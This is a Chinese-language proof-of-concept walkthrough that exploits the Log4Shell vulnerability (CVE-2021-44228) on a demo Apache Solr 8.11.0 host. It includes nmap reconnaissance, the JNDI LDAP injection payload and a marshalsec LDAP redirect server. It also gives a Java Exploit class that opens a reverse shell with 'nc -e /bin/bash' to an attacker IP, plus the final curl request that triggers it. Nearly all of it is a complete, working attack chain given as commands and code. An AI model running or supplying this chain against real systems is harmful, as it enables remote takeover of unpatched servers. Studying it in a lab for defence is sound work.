
Log4j漏洞RCE - CVE-2021-44228
该漏洞于2021年12月9日被发现,标识为 CVE-2021-44228,影响 Java 日志包,严重性评分(CVSS)为 10 分,可远程执行代码控制主机。安全社区将此漏洞称为 LOG4SHELL。
如需查看受 LOG4J 漏洞影响的软件供应商列表,请查看以下仓库;
为了演示此类攻击,我们有一台运行易受攻击版本(Apache Solr 8.11.0)的 log4j 包的主机,Java 版本为 1.8.0_181。
首先进行基本侦察,使用 nmap 工具(或任何其他你感兴趣的工具)了解该机器上哪些端口是开放的。
nmap -v -p- poc.log4j - 易受攻击的主机

在本例中,发现了三个开放端口。让我们改进 nmap 扫描,仅指定开放端口并加上 -sV 参数(返回端口应用程序版本)。
nmap -v -p22,111,8983 -sV poc.log4j

可能有一个 Apache 服务运行在 端口 8983 上。下面我们可以确认这个 Apache,此 Apache Solr 实例未配置任何数据。这是一个干净、标准且绝对最小化的安装。
log4j 的主要攻击向量位于应用程序日志中,如果我们查看 Solr 界面,可以在 Dsolr.log.dir 中看到启用的日志。
请注意,你刚刚发现的 URL 端点在使用 Web 界面查看时,需要在前面加上 solr/ 前缀。这意味着你应该访问:
http://poc.log4j:8983/solr/admin/cores
- 为什么是 /admin/cores ❓ 💬
这里存在可被利用的漏洞。这是一个接收变量(params={})来执行的调用,我们可以操纵此输入并发送我们的 payload。下面我们可以看到 Apache 调用此 URL /admin/cores 时生成的日志。
通常利用此漏洞的语法格式如下:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
此语法指示 log4j 调用 "JNDI" 或 "Java 命名和目录接口" 的功能。最终,这可用于访问外部资源或 "引用",这正是本攻击中被武器化的部分。注意 ldap:// 模式,这表示目标将通过 LDAP 协议连接到一个端点(在本攻击中,是攻击者控制的位置)。
我们可以在哪里输入这个 ldap 语法?
你只需提供 HTTP GET 变量或参数,这些将被 log4j 处理并解析。只需这一行文本——这使得该漏洞极易被利用。
你可能提供 JNDI 语法的其他位置:
在这一步,在我们发现目标主机上 log4j 的版本后,我们需要测试它是否易受攻击。
在攻击主机上打开端口 6666。
nc -vnlp 6666
发送包含原始 JNDI payload 语法的请求作为 HTTP 参数的一部分。这可以通过 curl 命令行工具轻松完成。

执行 payload 后,我们在端口 6666 的 netcat 上得到返回。🙌

至此,你已经验证了目标确实存在漏洞,因为你在 netcat 监听器中看到了这个连接。然而,它发起了一个 LDAP 请求……因此你的 netcat 监听器可能只看到了不可打印的字符(奇怪的字节)。我们现在可以在此基础上构建,用真实的 LDAP 处理程序进行响应。
正如我们在上面的 curl 中看到的,我们能够使用 LDAP 协议在我们的 NC 中收到请求。然而,由于我们使用了其他协议,我们无法可视化或操纵响应。
下一步是创建一个 LDAP 服务器来处理请求,开始吧!
为了加快此 POC 的速度,我们将使用 https://github.com/mbechler/marshalsec 中现成的工具。
我们需要使用 maven 来运行 marshalsec 脚本。maven 可通过 apt install maven 安装。
在 marshalsec 仓库内,使用 maven 开始构建:mvn clean package -DskipTests
构建 jar 后,我们可以启动 LDAP 服务器来重定向请求:
替换为你的IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的IP:8000/#Exploit"

我们将让 LDAP 服务器继续运行,并创建用于利用服务器的脚本。
Exploit.java 文件,内容包含以下类。#简单的 exploit,通过 NC 调用 /bin/bash 连接到我的 IP 的 9999 端口。
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 你的IP 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
使用 javac Exploit.java -source 8 -target 8 编译 exploit。将生成 Exploit.class 文件。
exploit 就绪后,将其托管在 Python 服务器上:python3 -m http.server。
打开一个 NC 端口,接收我们之前创建的 Java 命令 bash。新建一个 nc -lnvp 9999。
让我们让一切运转起来!执行一个 CURL,强制服务器在我们创建的 Python 服务端口 8000 上寻找我们的 exploit。
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://你的IP:1389/Exploit\}'